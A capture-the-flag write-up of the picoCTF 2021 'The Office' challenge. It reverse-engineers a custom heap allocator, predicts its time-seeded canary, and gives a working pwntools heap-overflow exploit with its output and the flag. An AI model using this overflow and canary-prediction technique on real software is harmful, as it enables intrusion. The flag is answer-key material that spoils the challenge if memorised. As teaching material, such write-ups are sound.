# picoCTF 2021: The Office__Points: 400  Category: Binary Exploitation__  > I'm tired of having to secure my data on the heap, so I decided to implement my own version of malloc with canaries. It's 10x more secure and only 100x slower!
An important function to look at is the function that gets called when you use option 1 (add employee) from the main menu. It's easy to find this function in Ghidra if you look for the string "Name: " in the file (the first thing the function prints) and then use "Show References to Address" to find out where it's used, which leads you to this function:```cchar * FUN_080488c9(void)
{    int iVar1;    undefined4 uVar2;    int in_GS_OFFSET;    char local_9d;    char *local_9c;    size_t local_98;    int local_94;    char local_90 [128];    int local_10;     local_10 = *(int *)(in_GS_OFFSET + 0x14);    local_9c = (char *)FUN_080494be(0x28);    if (local_9c == (char *)0x0) {        puts("Ran out of memory!");                    /* WARNING: Subroutine does not return */        exit(-1);    }    local_9d = '\0';    local_98 = 0;    printf("Name: ");    iVar1 = __isoc99_scanf("%15s",local_9c);    if (iVar1 != 1) {                    /* WARNING: Subroutine does not return */        exit(-1);    }    do {        local_94 = getchar();        if (local_94 == 10) break;    } while (local_94 != -1);    iVar1 = strncmp(local_9c,"admin",6);    if (iVar1 == 0) {        puts("Cannot be admin!");                    /* WARNING: Subroutine does not return */        exit(-1);    }    printf("Email (y/n)? ");    iVar1 = __isoc99_scanf("%c",&local_9d);    if (iVar1 != 1) {                    /* WARNING: Subroutine does not return */        exit(-1);    }    do {        local_94 = getchar();        if (local_94 == 10) break;    } while (local_94 != -1);    if ((local_9d == 'n') || (local_9d == 'N')) {        *(undefined4 *)(local_9c + 0x10) = 0;    }    else {        printf("Email address: ");        iVar1 = __isoc99_scanf("%127s",local_90);        if (iVar1 != 1) {                    /* WARNING: Subroutine does not return */            exit(-1);        }        do {            local_94 = getchar();            if (local_94 == 10) break;        } while (local_94 != -1);        local_98 = strnlen(local_90,0x7f);        uVar2 = FUN_080494be(local_98 + 1);        *(undefined4 *)(local_9c + 0x10) = uVar2;        if (*(int *)(local_9c + 0x10) == 0) {            puts("Ran out of memory!");                    /* WARNING: Subroutine does not return */            exit(-1);        }        strncpy(*(char **)(local_9c + 0x10),local_90,local_98);        *(undefined *)(local_98 + *(int *)(local_9c + 0x10)) = 0;    }    printf("Salary: ");    iVar1 = __isoc99_scanf("%u",local_9c + 0x14);    if (iVar1 != 1) {                    /* WARNING: Subroutine does not return */        exit(-1);    }    do {        local_94 = getchar();        if (local_94 == 10) break;    } while (local_94 != -1);    printf("Phone #: ");    iVar1 = __isoc99_scanf("%s",local_9c + 0x18);    if (iVar1 != 1) {                    /* WARNING: Subroutine does not return */        exit(-1);    }    do {        local_94 = getchar();        if (local_94 == 10) break;    } while (local_94 != -1);    printf("Bldg (y/n)? ");    iVar1 = __isoc99_scanf("%c",&local_9d);    if (iVar1 != 1) {                    /* WARNING: Subroutine does not return */        exit(-1);    }    do {        local_94 = getchar();        if (local_94 == 10) break;    } while (local_94 != -1);    if ((local_9d != 'n') && (local_9d != 'N')) {        printf("Bldg #: ");        iVar1 = __isoc99_scanf("%u",local_9c + 0x24);        if (iVar1 != 1) {                    /* WARNING: Subroutine does not return */            exit(-1);        }        do {            local_94 = getchar();            if (local_94 == 10) break;        } while (local_94 != -1);    }    putchar(10);    if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {        local_9c = (char *)FUN_08049bd0();    }    return local_9c;}```
Based on the fact that `FUN_080494be` is being run and then it has "Ran out of memory!" after it I'd say it has something to do with memory allocation.```cint FUN_080494be(uint param_1)
{    uint uVar1;    char cVar2;    uint uVar3;
    cVar2 = FUN_0804981c(0);    if (cVar2 != '\x01') {        puts("*** heap smashing detected ***");                    /* WARNING: Subroutine does not return */        exit(-1);    }    if ((DAT_0804c070 == 0) && (cVar2 = FUN_08049240(), cVar2 != '\x01')) {        return 0;    }    if (param_1 + DAT_0804c060 < 0xff0) {        do {            cVar2 = FUN_08049119(DAT_0804c070);            if ((cVar2 == '\0') &&               (uVar3 = FUN_080490f4(DAT_0804c070), uVar1 = DAT_0804c070, param_1 <= uVar3)) {                DAT_0804c070 = DAT_0804c074;                FUN_08049325(uVar1,param_1);                cVar2 = FUN_0804981c(0);                if (cVar2 != '\x01') {                    puts("*** heap smashing detected ***");                    /* WARNING: Subroutine does not return */                    exit(-1);                }                return uVar1 + 0xc;            }            DAT_0804c070 = FUN_08049192(DAT_0804c070);        } while (DAT_0804c070 < DAT_0804c078);        DAT_0804c070 = DAT_0804c074;    }    return 0;}```
If you look at this function closely it seems that `FUN_0804981c` is repeatedly used to verify the integrity of a heap. Indeed, it is the "heapcheck" function mentioned by the hint. I won't try to describe its logic but if you make its argument nonzero it will print debugging info about the heap to standard output. You can experiment with the heap if you just change the argument of the heapcheck function to 1 every time it's called. An easy way to do that in GDB is to set a breakpoint at `0x8049833` and have AL set to 1 whenever that breakpoint is hit:```b *0x8049833commandsset $al = 1end```
Here's an example output from heapcheck:```Canary: 244975482
Heap bottom: 0xf7fce000Address: 0xf7fce000 (0xf7fce00c) Size: 52 Allocated: 1 Prev_size: 0 Prev_allocated: 1Address: 0xf7fce040 (0xf7fce04c) Size: 20 Allocated: 1 Prev_size: 52 Prev_allocated: 1Address: 0xf7fce060 (0xf7fce06c) Size: 3988 Allocated: 0 Prev_size: 20 Prev_allocated: 1Heap top: 0xf7fcf000```
Overall you can deduce the structure of the heap by viewing the heap in GDB (by looking at the "Heap bottom" address) in combination with the heapcheck function.```(gdb) x/128bx 0xf7fce0000xf7fce000:     0x7a    0x07    0x9a    0x0e    0x35    0x00    0x00    0x000xf7fce008:     0x01    0x00    0x00    0x00    0x4a    0x61    0x6e    0x000xf7fce010:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x000xf7fce018:     0x00    0x00    0x00    0x00    0x4c    0xe0    0xfc    0xf70xf7fce020:     0x22    0xc8    0x00    0x00    0x34    0x31    0x35    0x340xf7fce028:     0x38    0x34    0x36    0x37    0x31    0x38    0x00    0x000xf7fce030:     0x7b    0x00    0x00    0x00    0x00    0x00    0x00    0x000xf7fce038:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x000xf7fce040:     0x7a    0x07    0x9a    0x0e    0x15    0x00    0x00    0x000xf7fce048:     0x35    0x00    0x00    0x00    0x6a    0x6b    0x6f    0x770xf7fce050:     0x61    0x6c    0x73    0x6b    0x69    0x40    0x67    0x6d0xf7fce058:     0x61    0x69    0x6c    0x2e    0x63    0x6f    0x6d    0x000xf7fce060:     0x7a    0x07    0x9a    0x0e    0x94    0x0f    0x00    0x000xf7fce068:     0x15    0x00    0x00    0x00    0x00    0x00    0x00    0x000xf7fce070:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x000xf7fce078:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00```
This is the employee we created:```Employee 0:Name: JanEmail: [email protected]Salary: 51234Bldg #: 123Phone #: 4154846718```
Based on the info we gathered so far and some trivial amount of extra experimentation we can infer the following:* Every employee created allocates a new chunk of Size 52 at the bottommost free location in the heap, if an email was created too then also a second chunk of Size 20 (or more, if the email is too long, actually)    * Deleting an employee deletes them from an internally kept list of employees and deallocates their chunk(s)* The large, unallocated chunk at the top of the heap grows and shrinks to accommodate added and removed employees    * The heap likes to fall apart when we delete chunks from the middle of the heap without immediately adding them back* The actual size of each chunk is actually 12 bytes more than the "Size" listed by heapcheck; the extra 12 bytes are a header at the beginning of each chunk    * The first 4 bytes (little-endian 32-bit unsigned integer) are the "Canary" as given by heapcheck (it's the same value for every chunk, but it changes every time the program is restarted and if even one chunk's Canary, even that of the unallocated top chunk or any other unallocated chunks, doesn't match the value heapcheck has stored internally, it will explode in a little ball of flame)    * The next 4 bytes are the "Size" (always an even number) plus 1 iff "Allocated"    * The last 4 bytes are the "Prev_size" (always an even number) plus 1 iff "Prev_allocated"    * Prev_size must match the Size of the previous chunk and Prev_allocated must match the Allocated of the previous chunk, or else heapcheck will throw a tantrum and say you did heap smashing    * The heap is 4096 bytes; at any given time chunks (including unallocated ones) occupy the entire heap, so if the sum of the "Size" fields of each chunk plus 12 times the number of chunks is not 4096, heapcheck will say you did heap smashing* Even the large unallocated chunk at the top of the heap has a header, so its actual size is also 12 more than its "Size"* The body (bytes that come after the header) of an email chunk are just the email as a null-terminated string* For non-email chunks the body has a different structure:    * The first 20 bytes are the name as a null-terminated string    * The next 4 bytes are salary as a little-endian 32-bit unsigned integer    * The next 12 bytes are the phone number as a null-terminated string    * The next 4 bytes are the building number as a little-endian 32-bit unsigned integer    * The last 12 bytes are unused
Looking back at `FUN_080488c9` (which asks you for employee info of the new employee to create), you can see the goal is to somehow create an employee with name "admin" despite not being permitted to. You may also notice that the call to scanf that reads the phone number you enter for the employee reads way too many characters thus creating an overflow vulnerability. The way to create an "admin" employee is described below.
First we gotta add 2 arbitrarily-named employees (Paula and Russel) with no emails. The diagram below represents the locations of their chunks in the heap, where each letter is 4 bytes, and the 16 P's are the 64 bytes (12-byte header + 52-byte body) of Paula's chunk and the 16 R's are the 64 bytes of Russel's chunk. Capital letters represent the 20 bytes in each chunk that hold the name.```pppPPPPPpppppppprrrRRRRRrrrrrrrr```
Next, we remove Paula.```................rrrRRRRRrrrrrrrr```
Now, we have to add another employee (Noodle) with no email, whose chunk will automatically be put into the empty 64 bytes at the bottom of the heap. We use the phone number overflow vulnerability by giving Noodle a phone number long enough to overwrite the name part of the header or Russel's chunk to change it to "admin".```nnnNNNNNnnnn#########RRRrrrrrrrr```Here of course the # symbols represent the phone number. Of course overwriting the name also results in overwriting the entirety of the header of Russel's chunk, which we don't want to change. The first 4 bytes of the header are the canary value. The next 4 bytes are the little-endian 32-bit integer 53 since Russel's chunk has size 52 and is allocated. The last 4 bytes of the header are also the little-endian 32-bit integer 53 since the previous chunk (Noodle's chunk) has size 52 and is allocated.
Then, we just have to get the employee access token for employee 1 (Russel) and the flag will be printed because Russel's name is now admin.
The logic for the Canary is in `FUN_08049240` (you'll see where that's called if you search for it in this document):```cundefined4 FUN_08049240(void)
{    undefined4 uVar1;    uint __seed;
    if (DAT_0804c070 == (void *)0x0) {        DAT_0804c074 = mmap((void *)0x0,0x1000,3,0x22,-1,0);        if ((DAT_0804c074 == (void *)0xffffffff) || (DAT_0804c074 == (void *)0x0)) {            puts("Memory Error :(");            uVar1 = 0;        }        else {            __seed = time((time_t *)0x0);            srand(__seed);            DAT_0804c06c = rand();            DAT_0804c078 = (int)DAT_0804c074 + 0x1000;            DAT_0804c070 = DAT_0804c074;            FUN_080491f0(DAT_0804c074,0x1000 - DAT_0804c060,0,0,1);            uVar1 = 1;        }    }    else {        uVar1 = 1;    }    return uVar1;}```
If it's the first time this function is called it'll generate the canary by running srand with the current timestamp as the seed and then take the first value that comes out of rand as the canary. We know that this function is called when chunks are allocated, so this'll be run for the first time when we choose to add an employee for the first time. We just have to sync the server's system clock to your own local system clock.
Here's the solution written as Python code (you'll still need to run it on a Linux system, preferably Ubuntu):```pythonPORT = 39151  # change thisCLOCK_OFFSET = 1  # how many seconds your clock is behind the server's by
from pwn import *from ctypes import CDLLlibc = CDLL('libc.so.6')r = remote('mercury.picoctf.net', PORT)libc.srand(libc.time(None) + CLOCK_OFFSET)  # srand(time(NULL))canary = libc.rand()  # rand()
# add Paula and Russelr.send('1\nPaula\nn\n0\nA\nn\n')r.send('1\nRussel\nn\n0\nA\nn\n')r.send('3\n')  # show the employees (optional)
# remove Paular.send('2\n0\n')
# add Noodler.send(    b'1\nNoodle\nn\n0\n' +    b'A'*28 + p32(canary) + p32(53) + p32(53) + b'admin' +    b'\nn\n')r.send(b'3\n')  # show the employees (optional)
# print flagr.send('4\n1\n')print(r.readall().decode('utf-8', errors='ignore'))```
```[+] Opening connection to mercury.picoctf.net on port 39151: Done[+] Receiving all data: Done (1.05KB)[*] Closed connection to mercury.picoctf.net port 391510) Exit1) Add employee2) Remove employee3) List employees4) Get access tokenName: Email (y/n)? Salary: Phone #: Bldg (y/n)?0) Exit1) Add employee2) Remove employee3) List employees4) Get access tokenName: Email (y/n)? Salary: Phone #: Bldg (y/n)?0) Exit1) Add employee2) Remove employee3) List employees4) Get access tokenEmployee 0:Name: PaulaEmail:Salary: 0Bldg #: 0Phone #: A
Employee 1:Name: RusselEmail:Salary: 0Bldg #: 0Phone #: A
0) Exit1) Add employee2) Remove employee3) List employees4) Get access tokenEmployee #?0) Exit1) Add employee2) Remove employee3) List employees4) Get access tokenName: Email (y/n)? Salary: Phone #: Bldg (y/n)?0) Exit1) Add employee2) Remove employee3) List employees4) Get access tokenEmployee 0:Name: NoodleEmail:Salary: 0Bldg #: 1094795585Phone #: AAAAAAAAAAAAAAAAAAAAAAAAAAAAr\x05
Employee 1:Name: adminEmail:Salary: 0Bldg #: 0Phone #: A
0) Exit1) Add employee2) Remove employee3) List employees4) Get access tokenEmployee #?picoCTF{6bdc3738d4de9fe44961796bce70f23c}```
__Flag: `picoCTF{6bdc3738d4de9fe44961796bce70f23c}`__